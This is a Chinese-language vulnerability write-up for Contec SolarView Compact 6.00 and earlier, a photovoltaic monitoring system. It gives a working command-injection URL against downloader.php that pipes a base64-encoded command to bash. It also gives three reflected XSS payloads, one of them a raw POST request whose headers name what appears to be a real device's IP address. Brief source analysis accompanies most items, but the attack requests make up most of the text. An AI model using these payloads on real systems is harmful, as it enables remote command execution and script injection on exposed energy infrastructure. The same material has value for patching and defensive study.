downloader.php 任意命令执行漏洞
漏洞简介
Contec SolarView Compact是日本Contec公司的一个应用系统。提供光伏发电测量系统。
Contec SolarView Compact 6.00版本及之前版本存在安全漏洞。攻击者利用该漏洞通过downloader.php绕过内部限制来执行命令。
漏洞复现
http://ip/downloader.php?file=;{{cmd}}%00.zip

http://ip/downloader.php?file=;echo%20aWQ=|base64%20-d|bash%00.zip

漏洞分析

通过 REQUREST 方法 获取的参数 file
根据 .
将文件名分割开来
当文件名为 .zip 后缀时,首先将传入的 file
拼接到变量 $ARCH_FILE
然后判断文件是否存在,存在则删除文件,最后再拼接到 $cmd
调用 system 来删除该文件
反射xss
漏洞复现
http://ip/view_colorname.php?type=%27);%22%3E%3Cscript%3Ealert(1)%3C/script%3E

漏洞分析

通过 REQUEST 获取的参数 type 最后直接输出在页面上面
反射xss
漏洞复现
http://ip/network_test.php?host=1.1.1.1&command=%3Cscript%3Ealert(1)%3C/script%3E

漏洞分析

通过 REQUEST 获取 command 和 host 因为对 host 内容进行了检查,所以无法实现命令执行,当存在两个参数时,输入就会输出,所以会产生 反射 xss 漏洞
反射xss
漏洞复现
构造数据包
POST /Solar_AiConf.php HTTP/1.1
Content-Length: 104
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
Origin: http://122.103.84.128:48013
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Referer: http://122.103.84.128:48013/Solar_AiConf.php
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
ch0_min=0&ch0_max="><script>alert(1)</script>&ch1_min=-20&ch1_max=100&ch2_min=1&ch2_max=5&ch3_min=1&ch3_max=5&button=%8DX%90V

漏洞分析
